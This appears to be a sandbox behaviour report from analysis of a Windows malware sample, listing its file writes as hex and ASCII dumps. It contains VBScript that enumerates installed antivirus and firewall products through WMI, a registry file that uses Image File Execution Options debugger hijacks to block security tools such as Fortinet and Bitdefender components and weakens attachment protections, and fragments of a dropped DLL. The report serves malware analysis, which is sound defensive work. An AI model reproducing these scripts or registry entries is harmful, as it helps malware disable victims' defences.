11 6c 22 41 e4 08 7e 
9a b8 86 07 51 e4 6b 
85 42 58 ba 68 07 8e 
19 c0 dc 1f 71 74 fe ee 
d4 e9 48 a7 2f 5e 69 
d9 cd ec dd 67 0a f1 
b0 06 95 2d 23 2f bd 
20 8e 31 d8 42 50 a6 
27 fe 2a 1a 9e af e6 
cd c2 d1 8d c3 ce 4d 
ba 46 79 cc 42 73 f1 
03 e0 7f 3f 5b 04 53 
00 16 03 ba dd 49 e3 
e3 e8 65 6e 3e 99 fa 
fc 8c 07 0b c7 64 90 
d1 78 a8 5a 21 98 a0 
f2 1d 29 18 22 a3 e6 
d8 57 a2 f1 75 38 f8 
28 00 68 d5 a9 d8 3c 
01 00 2b 6b 3a 0f 85 
a0 b1 bf 7d ef c6 9c 46 
74 46 67 4b da 10 de 
6b 8f 53 21 9e 99 56 
42 85 76 ea c1 08 

..O..8_./h.....H........\....N

..z"..)..F...| ...[!.L.R..(..\

..w@....Zg.......)Bd@.H....l"
A..~....Q.k.BX.h......qt....H./
^i....g.....-#/. .1.BP.'.*....
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en>.......d..x.Z!....)."...W..
u8.(.h...<..+k:.....}...FtFgK.
..k.S!..VB.v...
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C:\Users\user\AppData\Local\Te
mp\_0.5473048333189129536838706564981496.class

unknown 10455 d8 fb 8a 05 e5 c5 22 
9b 43 33 a2 67 74 32 
67 f4 02 9b 37 8c e6 
1a db 59 f4 da dc 9a 
6a 8d 9e 73 b9 c4 4e 
4b c4 c5 ee 60 6e 0c 
5e f6 25 a1 e8 db c2 
52 13 3c e9 d3 4e 68 
32 83 e9 e9 50 89 be 
ee 57 27 e9 d6 f0 31 
ab 37 bf 08 49 2c b0 
e9 35 74 42 3f 4c eb 
6b 4a 41 f9 6f b9 bf 3a 
1b 50 7e 1b 23 d7 d0 
24 dd c3 82 24 9b 5c 
89 07 0b 54 dc 85 75 
5a eb 0b 22 5b 5c c6 
2a 2f ec 45 aa 3e 42 
27 96 ad 8f e4 24 59 
17 3e 60 9f 5a 3a f3 
61 63 b1 c5 0f 7a 79 
ce 74 4a 77 12 01 1a 
73 d9 e8 6b a5 66 42 
56 1c 86 1c 34 f6 17 
3b 14 24 ae 6f 77 0a 
1d c3 b8 89 21 7c aa 
84 16 7a eb b9 99 87 
e8 8a de a0 48 c3 25 
35 79 0b 4d 78 f6 f6 af 
2b 6b 9f af 4e 3d 44 
41 5c 96 ad cd bb 1f 
60 2a 1c 7b ab c6 33 
25 29 f4 37 ab 96 0a 
49 ee 58 f8 03 f4 01 
70 62 22 b0 e9 c0 82 
71 a6 4b 9f 35 b0 99 
f4 

......".C3.gt2g...7....Y....j.

.s..NK...`n.^.%....R.
<..Nh2...
P...W'...1.7..I,..5tB?
L.kJA.o.
.:.P~.#..$...$.\...T..uZ.."[\.
*/.E.>B'....$Y.>`.Z:.ac...zy.t
Jw...s..k.fBV...4..;.$.ow.....
!|...z........H.%5y.Mx...+k..N
=DA\.....`*.{..3%).7...I.X....
pb"....q.K.5...

success or wait 1 73789FBC WriteFile

C:\Users\user\AppData\Local\Te
mp\Retrive4117647702204724132.vbs

unknown 276 53 65 74 20 6f 57 4d 
49 20 3d 20 47 65 74 
4f 62 6a 65 63 74 28 
22 77 69 6e 6d 67 6d 
74 73 3a 7b 69 6d 70 
65 72 73 6f 6e 61 74 
69 6f 6e 4c 65 76 65 
6c 3d 69 6d 70 65 72 
73 6f 6e 61 74 65 7d 
21 5c 5c 2e 5c 72 6f 6f 
74 5c 53 65 63 75 72 
69 74 79 43 65 6e 74 
65 72 32 22 29 0d 0a 
53 65 74 20 63 6f 6c 
49 74 65 6d 73 20 3d 
20 6f 57 4d 49 2e 45 
78 65 63 51 75 65 72 
79 28 22 53 65 6c 65 
63 74 20 2a 20 66 72 
6f 6d 20 41 6e 74 69 
56 69 72 75 73 50 72 
6f 64 75 63 74 22 29 
0d 0a 46 6f 72 20 45 
61 63 68 20 6f 62 6a 
49 74 65 6d 20 69 6e 
20 63 6f 6c 49 74 65 
6d 73 0d 0a 20 20 57 
69 74 68 20 6f 62 6a 
49 74 65 6d 0d 0a 20 
20 20 20 57 53 63 72 
69 70 74 2e 45 63 68 
6f 20 20 22 7b 22 22 
41 56 22 22 3a 22 22 
22 20 26 20 2e 64 69 
73 70 6c 61 79 4e 61 
6d 65 20 26 20 22 22 
22 7d 

Set oWMI = 
GetObject("winmgmts:
{impersonationLevel=imper
sona
te}!\\.\root\SecurityCenter2
")..Set colItems = 
oWMI.ExecQuery("Select * 
from AntiVirusProd
uct")..For Each objItem in 
colItems..  With objItem..    
Wscript.Echo  "{""AV"":""" 
& .displayName & """}
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C:\Users\user\AppData\Local\Te
mp\Retrive7530640457785674935.vbs

unknown 281 53 65 74 20 6f 57 4d 
49 20 3d 20 47 65 74 
4f 62 6a 65 63 74 28 
22 77 69 6e 6d 67 6d 
74 73 3a 7b 69 6d 70 
65 72 73 6f 6e 61 74 
69 6f 6e 4c 65 76 65 
6c 3d 69 6d 70 65 72 
73 6f 6e 61 74 65 7d 
21 5c 5c 2e 5c 72 6f 6f 
74 5c 53 65 63 75 72 
69 74 79 43 65 6e 74 
65 72 32 22 29 0d 0a 
53 65 74 20 63 6f 6c 
49 74 65 6d 73 20 3d 
20 6f 57 4d 49 2e 45 
78 65 63 51 75 65 72 
79 28 22 53 65 6c 65 
63 74 20 2a 20 66 72 
6f 6d 20 46 69 72 65 
77 61 6c 6c 50 72 6f 
64 75 63 74 22 29 0d 
0a 46 6f 72 20 45 61 
63 68 20 6f 62 6a 49 
74 65 6d 20 69 6e 20 
63 6f 6c 49 74 65 6d 
73 0d 0a 20 20 57 69 
74 68 20 6f 62 6a 49 
74 65 6d 0d 0a 20 20 
20 20 57 53 63 72 69 
70 74 2e 45 63 68 6f 
20 20 22 7b 22 22 46 
49 52 45 57 41 4c 4c 
22 22 3a 22 22 22 20 
26 20 2e 64 69 73 70 
6c 61 79 4e 61 6d 65 
20 26 

Set oWMI = 
GetObject("winmgmts:
{impersonationLevel=imper
sona
te}!\\.\root\SecurityCenter2
")..Set colItems = 
oWMI.ExecQuery("Select * 
from FirewallProduct")..For 
Each objItem in colItems..  
With objItem..    Wscr
ipt.Echo  "
{""FIREWALL"":""" & 
.displayName &

success or wait 1 73789FBC WriteFile

C:\Windows\SysWOW64\test.txt unknown 646 41 6c 74 69 4a 71 6f 
58 76 6f 6d 58 49 77 
48 68 50 71 65 4b 49 
63 6a 71 66 52 6b 43 
68 58 57 69 63 67 69 
4c 73 63 72 45 78 62 
63 61 44 42 70 4d 4d 
45 47 64 69 42 76 4f 
75 59 6e 57 72 42 56 
50 6b 70 76 64 4c 64 
74 68 71 47 46 5a 71 
6f 47 64 71 68 6f 6c 
64 58 4f 6f 6b 73 4c 
56 4f 47 54 41 6f 52 
44 44 76 63 77 56 6d 
44 48 50 78 6f 42 6c 
69 6d 62 65 77 59 76 
41 43 6b 63 41 55 6c 
41 58 4d 6f 66 6a 6a 
6c 55 63 68 64 71 76 
4f 78 44 43 65 48 4a 
63 50 41 6f 5a 6f 46 
43 75 66 56 53 57 77 
77 73 52 44 49 59 6a 
62 6b 57 52 78 57 42 
47 4d 67 4a 70 5a 6d 
41 56 52 4f 51 61 50 
47 68 6d 78 4e 6a 4c 
67 46 4b 69 50 63 44 
51 76 5a 6e 4b 6f 46 
5a 78 4d 6d 75 50 4f 
42 5a 74 4a 53 4d 74 
55 74 58 61 59 6f 54 
5a 65 69 6d 73 47 42 
58 68 43 51 6d 72 56 
4d 53 49 68 4b 4d 53 
75 69 70 

AltiJqoXvomXIwHhPqeKIcj
qfRkChX
WicgiLscrExbcaDBpMME
GdiBvOuYnW
rBVPkpvdLdthqGFZqoGdq
holdXOoks
LVOGTAoRDDvcwVmDH
PxoBlimbewYvA
CkcAUlAXMofjjlUchdqvOx
DCeHJcPA
oZoFCufVSWwwsRDIYjbk
WRxWBGMgJp
ZmAVROQaPGhmxNjLgF
KiPcDQvZnKoF
ZxMmuPOBZtJSMtUtXaY
oTZeimsGBXh
CQmrVMSIhKMSuip

success or wait 1 73789FBC WriteFile

C:\Users\user\DfSJGumiMVk\ID.txt unknown 47 7b 22 55 55 49 44 22 
3a 22 33 63 31 31 36 
31 33 33 2d 65 39 64 
63 2d 34 61 32 64 2d 
62 31 37 35 2d 37 31 
61 38 32 32 66 35 63 
64 35 30 22 7d 

{"UUID":"3c116133-e9dc-
4a2d-b175-
71a822f5cd50"}
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C:\Users\user\AppData\Local\Te
mp\GYcBDbnJPA3276512531836276281.reg

unknown 8192 57 69 6e 64 6f 77 73 
20 52 65 67 69 73 74 
72 79 20 45 64 69 74 
6f 72 20 56 65 72 73 
69 6f 6e 20 35 2e 30 
30 0d 0a 5b 48 4b 45 
59 5f 43 55 52 52 45 
4e 54 5f 55 53 45 52 
5c 53 6f 66 74 77 61 
72 65 5c 4d 69 63 72 
6f 73 6f 66 74 5c 57 
69 6e 64 6f 77 73 5c 
43 75 72 72 65 6e 74 
56 65 72 73 69 6f 6e 
5c 50 6f 6c 69 63 69 
65 73 5c 41 74 74 61 
63 68 6d 65 6e 74 73 
5d 0d 0a 22 53 61 76 
65 5a 6f 6e 65 49 6e 
66 6f 72 6d 61 74 69 
6f 6e 22 3d 64 77 6f 
72 64 3a 30 30 30 30 
30 30 30 31 0d 0a 0d 
0a 5b 48 4b 45 59 5f 
43 55 52 52 45 4e 54 
5f 55 53 45 52 5c 53 
6f 66 74 77 61 72 65 
5c 4d 69 63 72 6f 73 
6f 66 74 5c 57 69 6e 
64 6f 77 73 5c 43 75 
72 72 65 6e 74 56 65 
72 73 69 6f 6e 5c 50 
6f 6c 69 63 69 65 73 
5c 41 73 73 6f 63 69 
61 74 69 6f 6e 73 5d 
0d 0a 22 4c 6f 77 52 
69 73 6b 

Windows Registry Editor 
Version 5.00..
[HKEY_CURRENT_USER\
Sof
tware\Microsoft\Windows\
Curren
tVersion\Policies\Attachme
nts]
.."SaveZoneInformation"=d
word:00000001....
[HKEY_CURRENT_USER
\Software\Microsoft\Windo
ws\Cu
rrentVersion\Policies\Asso
ciations].."LowRisk

success or wait 1 73789FBC WriteFile

C:\Users\user\AppData\Local\Te
mp\GYcBDbnJPA3276512531836276281.reg

unknown 8192 22 3d 22 73 76 63 68 
6f 73 74 2e 65 78 65 
22 0d 0a 0d 0a 5b 48 
4b 45 59 5f 4c 4f 43 41 
4c 5f 4d 41 43 48 49 
4e 45 5c 53 4f 46 54 
57 41 52 45 5c 4d 69 
63 72 6f 73 6f 66 74 5c 
57 69 6e 64 6f 77 73 
20 4e 54 5c 43 75 72 
72 65 6e 74 56 65 72 
73 69 6f 6e 5c 49 6d 
61 67 65 20 46 69 6c 
65 20 45 78 65 63 75 
74 69 6f 6e 20 4f 70 
74 69 6f 6e 73 5c 65 
63 6f 6e 73 65 72 2e 
65 78 65 5d 0d 0a 22 
64 65 62 75 67 67 65 
72 22 3d 22 73 76 63 
68 6f 73 74 2e 65 78 
65 22 0d 0a 0d 0a 5b 
48 4b 45 59 5f 4c 4f 
43 41 4c 5f 4d 41 43 
48 49 4e 45 5c 53 4f 
46 54 57 41 52 45 5c 
4d 69 63 72 6f 73 6f 
66 74 5c 57 69 6e 64 
6f 77 73 20 4e 54 5c 
43 75 72 72 65 6e 74 
56 65 72 73 69 6f 6e 
5c 49 6d 61 67 65 20 
46 69 6c 65 20 45 78 
65 63 75 74 69 6f 6e 
20 4f 70 74 69 6f 6e 
73 5c 56 49 45 57 54 
43 

"="svchost.exe"....
[HKEY_LOCAL
_MACHINE\SOFTWARE\
Microsoft\Windows 
NT\CurrentVersion\Image 
File Execution 
Options\econser
.exe].."debugger"="svchost
.exe"....
[HKEY_LOCAL_MACHINE
\SOFTW
ARE\Microsoft\Windows 
NT\CurrentVersion\Image 
File Execution 
Options\VIEWTC

success or wait 1 73789FBC WriteFile
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C:\Users\user\AppData\Local\Te
mp\GYcBDbnJPA3276512531836276281.reg

unknown 8192 67 67 65 72 22 3d 22 
73 76 63 68 6f 73 74 
2e 65 78 65 22 0d 0a 
0d 0a 5b 48 4b 45 59 
5f 4c 4f 43 41 4c 5f 4d 
41 43 48 49 4e 45 5c 
53 4f 46 54 57 41 52 
45 5c 4d 69 63 72 6f 
73 6f 66 74 5c 57 69 
6e 64 6f 77 73 20 4e 
54 5c 43 75 72 72 65 
6e 74 56 65 72 73 69 
6f 6e 5c 49 6d 61 67 
65 20 46 69 6c 65 20 
45 78 65 63 75 74 69 
6f 6e 20 4f 70 74 69 6f 
6e 73 5c 42 44 53 53 
56 43 2e 45 58 45 5d 
0d 0a 22 64 65 62 75 
67 67 65 72 22 3d 22 
73 76 63 68 6f 73 74 
2e 65 78 65 22 0d 0a 
0d 0a 5b 48 4b 45 59 
5f 4c 4f 43 41 4c 5f 4d 
41 43 48 49 4e 45 5c 
53 4f 46 54 57 41 52 
45 5c 4d 69 63 72 6f 
73 6f 66 74 5c 57 69 
6e 64 6f 77 73 20 4e 
54 5c 43 75 72 72 65 
6e 74 56 65 72 73 69 
6f 6e 5c 49 6d 61 67 
65 20 46 69 6c 65 20 
45 78 65 63 75 74 69 
6f 6e 20 4f 70 74 69 6f 
6e 73 5c 45 4d 4c 

gger"="svchost.exe"....
[HKEY_L
OCAL_MACHINE\SOFTW
ARE\Microsoft\Windows 
NT\CurrentVersion\Image 
File Execution 
Options\BDS
SVC.EXE].."debugger"="sv
chost.exe"....
[HKEY_LOCAL_MACHINE
\SO
FTWARE\Microsoft\Windo
ws NT\Cu
rrentVersion\Image File 
Execution Options\EML

success or wait 1 73789FBC WriteFile

C:\Users\user\AppData\Local\Te
mp\GYcBDbnJPA3276512531836276281.reg

unknown 2706 6f 77 73 20 4e 54 5c 
43 75 72 72 65 6e 74 
56 65 72 73 69 6f 6e 
5c 49 6d 61 67 65 20 
46 69 6c 65 20 45 78 
65 63 75 74 69 6f 6e 
20 4f 70 74 69 6f 6e 
73 5c 46 6f 72 74 69 
45 53 4e 41 43 2e 65 
78 65 5d 0d 0a 22 64 
65 62 75 67 67 65 72 
22 3d 22 73 76 63 68 
6f 73 74 2e 65 78 65 
22 0d 0a 0d 0a 5b 48 
4b 45 59 5f 4c 4f 43 41 
4c 5f 4d 41 43 48 49 
4e 45 5c 53 4f 46 54 
57 41 52 45 5c 4d 69 
63 72 6f 73 6f 66 74 5c 
57 69 6e 64 6f 77 73 
20 4e 54 5c 43 75 72 
72 65 6e 74 56 65 72 
73 69 6f 6e 5c 49 6d 
61 67 65 20 46 69 6c 
65 20 45 78 65 63 75 
74 69 6f 6e 20 4f 70 
74 69 6f 6e 73 5c 46 6f 
72 74 69 50 72 6f 78 
79 2e 65 78 65 5d 0d 
0a 22 64 65 62 75 67 
67 65 72 22 3d 22 73 
76 63 68 6f 73 74 2e 
65 78 65 22 0d 0a 0d 
0a 5b 48 4b 45 59 5f 
4c 4f 43 41 4c 5f 4d 41 
43 48 49 4e 45 5c 

ows 
NT\CurrentVersion\Image 
File Execution 
Options\FortiESNA
C.exe].."debugger"="svcho
st.exe"....
[HKEY_LOCAL_MACHINE
\SOFT
WARE\Microsoft\Windows 
NT\CurrentVersion\Image 
File Execution 
Options\FortiProxy.exe].."d
ebugger"="svchost.exe"....
[HKEY
_LOCAL_MACHINE\

success or wait 1 73789FBC WriteFile
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C:\Users\user\AppData\Local\Te
mp\Windows278170804881636675.dll

unknown 1024 4d 5a 90 00 03 00 00 
00 04 00 00 00 ff ff 00 
00 b8 00 00 00 00 00 
00 00 40 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 e0 00 00 00 
0e 1f ba 0e 00 b4 09 
cd 21 b8 01 4c cd 21 
54 68 69 73 20 70 72 
6f 67 72 61 6d 20 63 
61 6e 6e 6f 74 20 62 
65 20 72 75 6e 20 69 
6e 20 44 4f 53 20 6d 
6f 64 65 2e 0d 0d 0a 
24 00 00 00 00 00 00 
00 6b 9d a4 f6 2f fc ca 
a5 2f fc ca a5 2f fc ca 
a5 40 8a 61 a5 39 fc 
ca a5 40 8a 54 a5 21 
fc ca a5 40 8a 60 a5 
7a fc ca a5 26 84 59 
a5 2a fc ca a5 2f fc cb 
a5 7e fc ca a5 40 8a 
65 a5 2e fc ca a5 40 
8a 51 a5 2e fc ca a5 
40 8a 57 a5 2e fc ca 
a5 52 69 63 68 2f fc ca 
a5 00 00 00 00 00 00 
00 00 50 45 00 00 4c 
01 05 00 ea dc 75 57 
00 00 00 00 00 00 00 
00 e0 00 02 21 0b 01 
0a 00 00 70 00 

MZ......................@.....
..............................
............!..L.!This program 
cannot be run in DOS 
mode....
$.......k.../.../.../...@.a.9.
..@.T.!...@.`.z...&.Y.*.../...
~...@.e.....@.Q.....@.W.....
Rich/...........PE..L.....uW....
.......!.....p.

success or wait 1 73789FBC WriteFile

C:\Users\user\AppData\Local\Te
mp\Windows278170804881636675.dll

unknown 1024 55 8b ec 8b 08 8d 55 
10 52 8b 55 0c 52 8b 
55 08 52 50 8b 81 38 
02 00 00 ff d0 5d c3 cc 
cc cc cc 55 8b ec 83 
7d 0c 03 0f 85 d1 00 
00 00 53 8b 5d 10 85 
db 0f 84 c4 00 00 00 
53 ff 15 18 81 00 10 
85 c0 0f 84 b5 00 00 
00 a1 44 ca 00 10 8b 
08 8b 91 9c 02 00 00 
56 57 68 c8 99 00 10 
50 ff d2 53 89 1d 50 
ca 00 10 ff 15 04 81 
00 10 8b f8 8d 44 3f 
02 50 e8 15 02 00 00 
83 c4 04 83 c7 02 57 
8b f0 56 53 ff 15 10 81 
00 10 8d 7e ff 8d 64 
24 00 8a 47 01 47 84 
c0 75 f8 a1 44 ca 00 
10 8a 0d e3 99 00 10 
88 0f 8b 10 56 50 8b 
82 9c 02 00 00 ff d0 
56 8b f8 e8 9a 01 00 
00 a1 44 ca 00 10 8b 
08 8b 51 18 83 c4 04 
68 e4 99 00 10 50 ff 
d2 68 f0 99 00 10 8b 
f0 a1 44 ca 00 10 8b 
08 8b 91 c4 01 00 00 
68 08 9a 00 10 56 50 
ff d2 57 50 a1 44 ca 
00 10 56 e8 08 ff ff ff 
83 c4 0c 5f 5e 5b 5d 

U.....U.R.U.R.U.RP..8.....]..
...U...}........S.].........S..
.............D...........VWh..
..P..S..P............D?.P.....
......W..VS.......~..d$..G.G..
u..D.............VP........V..
......D......Q....h....P..h...
....D...........h....VP..WP.D.
..V........_^[]

success or wait 26 73789FBC WriteFile
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C:\Users\user\AppData\Local\Te
mp\Windows278170804881636675.dll

unknown 1024 00 00 e8 7f 1f 00 00 
85 c0 75 07 e8 fa 03 
00 00 eb e9 e8 29 28 
00 00 ff 15 28 80 00 
10 a3 bc db 00 10 e8 
82 27 00 00 a3 c8 bd 
00 10 e8 af 21 00 00 
85 c0 79 07 e8 2b 1c 
00 00 eb cf e8 ad 26 
00 00 85 c0 78 20 e8 
2e 24 00 00 85 c0 78 
17 6a 00 e8 75 04 00 
00 59 85 c0 75 0b ff 
05 c4 bd 00 10 e9 d2 
00 00 00 e8 bb 23 00 
00 eb c9 33 ff 3b c7 75 
5b 39 3d c4 bd 00 10 
7e 81 ff 0d c4 bd 00 
10 89 7d fc 39 3d 2c 
c1 00 10 75 05 e8 27 
06 00 00 39 7d 10 75 
0f e8 8b 23 00 00 e8 
c6 1b 00 00 e8 66 03 
00 00 c7 45 fc fe ff ff ff 
e8 07 00 00 00 e9 82 
00 00 00 33 ff 39 7d 
10 75 0e 83 3d 00 b4 
00 10 ff 74 05 e8 9b 
1b 00 00 c3 eb 6a 83 
f8 02 75 59 e8 5a 1b 
00 00 68 14 02 00 00 
6a 01 e8 63 20 00 00 
59 59 8b f0 3b f7 0f 84 
0c ff ff ff 56 ff 35 00 b4 
00 10 ff 35 80 c7 00 
10 ff 15 24 

.........u.........)(....(....

......'.........!....y..+.......&....x 

..$....x.j..u...Y..u.

.............#....3.;.u[9=....
~........}.9=,...u..'...9}.u..
.#........f....E..............
.3.9}.u..=.....t........j...uY
.Z...h....j..c ..YY..;.......V
.5.....5......$

success or wait 1 73789FBC WriteFile

C:\Users\user\AppData\Local\Te
mp\Windows278170804881636675.dll

unknown 1024 d8 2b 00 00 83 c4 14 
85 c0 75 bd 68 2c 8b 
00 10 be 14 03 00 00 
56 57 e8 4b 2b 00 00 
83 c4 0c 85 c0 75 a5 ff 
b5 04 fe ff ff 56 57 e8 
37 2b 00 00 83 c4 0c 
85 c0 75 91 68 10 20 
01 00 68 e0 8a 00 10 
57 e8 b4 29 00 00 83 
c4 0c eb 5e 53 53 53 
53 53 e9 79 ff ff ff 6a 
f4 ff 15 58 80 00 10 8b 
f0 3b f3 74 46 83 fe ff 
74 41 33 c0 8a 0c 47 
88 8c 05 08 fe ff ff 66 
39 1c 47 74 08 40 3d 
f4 01 00 00 72 e8 53 
8d 85 04 fe ff ff 50 8d 
85 08 fe ff ff 50 88 5d 
fb e8 d6 28 00 00 59 
50 8d 85 08 fe ff ff 50 
56 ff 15 54 80 00 10 
8b 4d fc 5f 5e 33 cd 5b 
e8 8d f5 ff ff c9 c3 6a 
03 e8 67 2c 00 00 59 
83 f8 01 74 15 6a 03 
e8 5a 2c 00 00 59 85 
c0 75 1f 83 3d d4 bd 
00 10 01 75 16 68 fc 
00 00 00 e8 25 fe ff ff 
68 ff 00 00 00 e8 1b fe 
ff ff 59 59 c3 8b ff 55 
8b ec 8b 45 08 a3 60 
c7 00 10 

.+.......u.h,........VW.K+....

...u.......VW.7+.......u.h. ..
h....W..)......^SSSSS.y...j...
X.....;.tF...tA3...G.......f9.
Gt.@=....r.S......P......P.]...
(..YP......PV..T....M._^3.[..
.....j..g,..Y...t.j..Z,..Y..u.
.=.....u.h.....%...h.........Y
Y...U...E..`...

success or wait 1 73789FBC WriteFile
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C:\Users\user\AppData\Local\Te
mp\Windows278170804881636675.dll

unknown 1024 00 74 13 ff b5 b4 fd ff 
ff e8 45 e6 ff ff 83 a5 
b4 fd ff ff 00 59 8b bd 
c4 fd ff ff 8a 07 88 85 
ef fd ff ff 84 c0 74 15 
8b 8d a0 fd ff ff 8b 9d 
d8 fd ff ff 33 f6 8a d0 
e9 c7 f5 ff ff 80 bd b0 
fd ff ff 00 74 0a 8b 85 
ac fd ff ff 83 60 70 fd 
8b 85 dc fd ff ff 8b 4d 
fc 5f 5e 33 cd 5b e8 e1 
e5 ff ff c9 c3 8d 49 00 
53 24 00 10 52 22 00 
10 82 22 00 10 e0 22 
00 10 2c 23 00 10 37 
23 00 10 7d 23 00 10 
ae 24 00 10 8b ff 55 
8b ec 8b 45 08 a3 74 
c7 00 10 5d c3 8b ff 
55 8b ec 81 ec 28 03 
00 00 a1 00 b0 00 10 
33 c5 89 45 fc 53 8b 
5d 08 57 83 fb ff 74 07 
53 e8 db 11 00 00 59 
83 a5 e0 fc ff ff 00 6a 
4c 8d 85 e4 fc ff ff 6a 
00 50 e8 1c 2d 00 00 
8d 85 e0 fc ff ff 89 85 
d8 fc ff ff 8d 85 30 fd ff 
ff 83 c4 0c 89 85 dc fc 
ff ff 89 85 e0 fd ff ff 89 
8d dc fd ff ff 89 95 d8 
fd 

.t........E..........Y........

........t.............3.......

........t........`p........M._^3.
[........I.S$..R"..."..."..
,#..7#..}#...$....U...E..t...]
...U....(........3..E.S.].W...
t.S.....Y.......jL......j.P..-
................0.............
...............

success or wait 1 73789FBC WriteFile

C:\Users\user\AppData\Local\Te
mp\Windows278170804881636675.dll

unknown 1024 fe ff ff ff 39 53 0c 0f 84 
4f ff ff ff 68 00 b0 00 
10 57 8b cb e8 91 2b 
00 00 e9 19 ff ff ff 6a 
00 ff 15 60 80 00 10 
c3 ff 15 6c 80 00 10 c2 
04 00 8b ff 56 ff 35 04 
b4 00 10 ff 15 70 80 
00 10 8b f0 85 f6 75 
1b ff 35 7c c7 00 10 ff 
15 24 80 00 10 8b f0 
56 ff 35 04 b4 00 10 ff 
15 74 80 00 10 8b c6 
5e c3 a1 00 b4 00 10 
83 f8 ff 74 16 50 ff 35 
84 c7 00 10 ff 15 24 
80 00 10 ff d0 83 0d 
00 b4 00 10 ff a1 04 
b4 00 10 83 f8 ff 74 0e 
50 ff 15 78 80 00 10 
83 0d 04 b4 00 10 ff 
e9 47 0e 00 00 6a 08 
68 80 9b 00 10 e8 82 
fd ff ff 68 14 8c 00 10 
ff 15 4c 80 00 10 8b 
75 08 c7 46 5c 60 8c 
00 10 83 66 08 00 33 
ff 47 89 7e 14 89 7e 
70 c6 86 c8 00 00 00 
43 c6 86 4b 01 00 00 
43 c7 46 68 90 b5 00 
10 6a 0d e8 2d 0f 00 
00 59 83 65 fc 00 ff 76 
68 ff 15 7c 80 00 10 
c7 45 fc fe ff 

....9S...O...h....W....+......

.j...`......l........V.5......
p.......u..5|.....$.....V.5...
...t.....^.........t.P.5......
$....................t.P..x...
........G...j.h.........h.....
.L....u..F\`....f..3.G.~..~p..
....C..K...C.Fh....j..-...Y.e.
..vh..|....E...

success or wait 1 73789FBC WriteFile
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C:\Users\user\AppData\Local\Te
mp\Windows278170804881636675.dll

unknown 1024 15 60 80 00 10 89 87 
68 b5 00 10 83 c7 04 
83 ff 28 72 e6 5f 5e c3 
cc cc cc cc cc cc cc 
cc cc cc 8b ff 55 8b ec 
8b 4d 08 b8 4d 5a 00 
00 66 39 01 74 04 33 
c0 5d c3 8b 41 3c 03 
c1 81 38 50 45 00 00 
75 ef 33 d2 b9 0b 01 
00 00 66 39 48 18 0f 
94 c2 8b c2 5d c3 cc 
cc cc cc cc cc cc cc 
cc cc cc 8b ff 55 8b ec 
8b 45 08 8b 48 3c 03 
c8 0f b7 41 14 53 56 
0f b7 71 06 33 d2 57 
8d 44 08 18 85 f6 74 
1b 8b 7d 0c 8b 48 0c 
3b f9 72 09 8b 58 08 
03 d9 3b fb 72 0a 42 
83 c0 28 3b d6 72 e8 
33 c0 5f 5e 5b 5d c3 
cc cc cc cc cc cc cc 
cc cc cc cc cc 8b ff 55 
8b ec 6a fe 68 50 9c 
00 10 68 90 2e 00 10 
64 a1 00 00 00 00 50 
83 ec 08 53 56 57 a1 
00 b0 00 10 31 45 f8 
33 c5 50 8d 45 f0 64 
a3 00 00 00 00 89 65 
e8 c7 45 fc 00 00 00 
00 68 00 00 00 10 e8 
2a ff ff ff 83 c4 04 85 
c0 74 54 8b 45 

.`.....h........(r._^.........

....U...M..MZ..f9.t.3.]..A<...
8PE..u.3......f9H......]......
........U...E..H<....A.SV..q.3
.W.D....t..}..H.;.r..X...;.r.B..
(;.r.3._^[]...............U.
.j.hP...h....d.....P...SVW....
.1E.3.P.E.d......e..E.....h...
..*........tT.E

success or wait 1 73789FBC WriteFile

C:\Users\user\AppData\Local\Te
mp\Windows278170804881636675.dll

unknown 1024 83 c3 10 ff 4d 08 75 
d6 8b 87 d4 00 00 00 
05 b4 00 00 00 50 ff 
d6 5e 5b 8b c7 5f 5d 
c3 8b ff 55 8b ec 53 
56 8b 75 08 8b 86 bc 
00 00 00 33 db 57 3b 
c3 74 6f 3d 18 bd 00 
10 74 68 8b 86 b0 00 
00 00 3b c3 74 5e 39 
18 75 5a 8b 86 b8 00 
00 00 3b c3 74 17 39 
18 75 13 50 e8 f6 bd ff 
ff ff b6 bc 00 00 00 e8 
14 1e 00 00 59 59 8b 
86 b4 00 00 00 3b c3 
74 17 39 18 75 13 50 
e8 d5 bd ff ff ff b6 bc 
00 00 00 e8 8a 1d 00 
00 59 59 ff b6 b0 00 
00 00 e8 bd bd ff ff ff 
b6 bc 00 00 00 e8 b2 
bd ff ff 59 59 8b 86 c0 
00 00 00 3b c3 74 44 
39 18 75 40 8b 86 c4 
00 00 00 2d fe 00 00 
00 50 e8 91 bd ff ff 8b 
86 cc 00 00 00 bf 80 
00 00 00 2b c7 50 e8 
7e bd ff ff 8b 86 d0 00 
00 00 2b c7 50 e8 70 
bd ff ff ff b6 c0 00 00 
00 e8 65 bd ff ff 83 c4 
10 8b 86 d4 00 00 00 
3d b8 ba 00 10 74 1b 
39 

....M.u............P..^[.._]..

.U..SV.u.......3.W;.to=....th.

.....;.t^9.uZ......;.t.9.u.P..

..............YY......;.t.9.u.
P................YY...........
...........YY......;.tD9.u@......-
....P................+.P.~
.........+.P.p..........e.....
.......=....t.9

success or wait 1 73789FBC WriteFile
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C:\Users\user\AppData\Local\Te
mp\Windows278170804881636675.dll

unknown 1024 35 fc c0 00 10 ff 15 1c 
80 00 10 85 c0 75 32 
83 3d 64 c7 00 10 00 
74 1c 56 e8 e3 c0 ff ff 
59 85 c0 75 d2 8b 45 
10 85 c0 74 06 c7 00 
0c 00 00 00 33 c0 eb 
0d 8b 4d 10 85 c9 74 
06 c7 01 0c 00 00 00 
5e 5d c3 8b ff 55 8b ec 
83 7d 08 00 75 0b ff 
75 0c e8 36 b6 ff ff 59 
5d c3 56 8b 75 0c 85 
f6 75 0d ff 75 08 e8 e9 
b5 ff ff 59 33 c0 eb 4d 
57 eb 30 85 f6 75 01 
46 56 ff 75 08 6a 00 ff 
35 fc c0 00 10 ff 15 d4 
80 00 10 8b f8 85 ff 75 
5e 39 05 64 c7 00 10 
74 40 56 e8 64 c0 ff ff 
59 85 c0 74 1d 83 fe 
e0 76 cb 56 e8 54 c0 
ff ff 59 e8 f0 ba ff ff c7 
00 0c 00 00 00 33 c0 
5f 5e 5d c3 e8 df ba ff 
ff 8b f0 ff 15 14 80 00 
10 50 e8 8f ba ff ff 59 
89 06 eb e2 e8 c7 ba 
ff ff 8b f0 ff 15 14 80 
00 10 50 e8 77 ba ff ff 
59 89 06 8b c7 eb ca 
8b ff 55 8b ec 8b 55 
08 56 57 85 d2 74 07 

5............u2.=d....t.V.....
Y..u..E...t.......3....M...t..
